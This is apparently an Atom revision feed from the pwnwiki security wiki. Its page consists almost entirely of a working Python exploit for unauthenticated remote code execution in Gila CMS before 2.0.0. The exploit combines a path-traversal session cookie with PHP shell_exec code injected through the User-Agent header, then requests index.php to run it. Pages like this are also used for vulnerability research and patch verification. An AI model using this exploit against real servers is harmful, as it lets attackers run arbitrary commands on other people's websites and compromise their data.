https://pwnwiki.com/index.php?action=history&feed=atom&title=Gila_CMS_2.0.0_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E 2026-04-21T01:44:31Z Revision history for this page on the wiki MediaWiki 1.35.1 https://pwnwiki.com/index.php?title=Gila_CMS_2.0.0_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&diff=1276&oldid=prev 2021-04-08T09:51:10Z

<p>Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: Gila CMS 2.0.0 - Remote Code Execution (Unauthenticated) # Date: 1.12.2021 # Exploit Author: Enesdex # Vendor Homepage: https://gilacms.com/ # S...&quot;</p> <p><b>New page</b></p><div>==EXP==<br /> &lt;pre&gt;<br /> # Exploit Title: Gila CMS 2.0.0 - Remote Code Execution (Unauthenticated)<br /> # Date: 1.12.2021<br /> # Exploit Author: Enesdex<br /> # Vendor Homepage: https://gilacms.com/<br /> # Software Link: https://github.com/GilaCMS/gila/releases/tag/2.0.0<br /> # Version: x &lt; 2.0.0 <br /> # Tested on: Windows 10<br /> <br /> import requests<br /> import time<br /> <br /> target_url = &quot;http://192.168.1.101:80/Gila/&quot;<br /> cmd = &quot;calc.exe&quot;<br /> <br /> url = target_url+&quot;?c=admin&quot;<br /> cookies = {&quot;GSESSIONID&quot;: &quot;../../index.php&quot;}<br /> headers = {&quot;User-Agent&quot;: &quot;&lt;?php shell_exec('&quot;+cmd+&quot;'); include 'src\\core\\bootstrap.php'; ?&gt;&quot;}<br /> requests.get(url, headers=headers, cookies=cookies)<br /> time.sleep(5)<br /> requests.get(target_url+&quot;/index.php&quot;)<br /> <br /> &lt;/pre&gt;</div>

Pwnwiki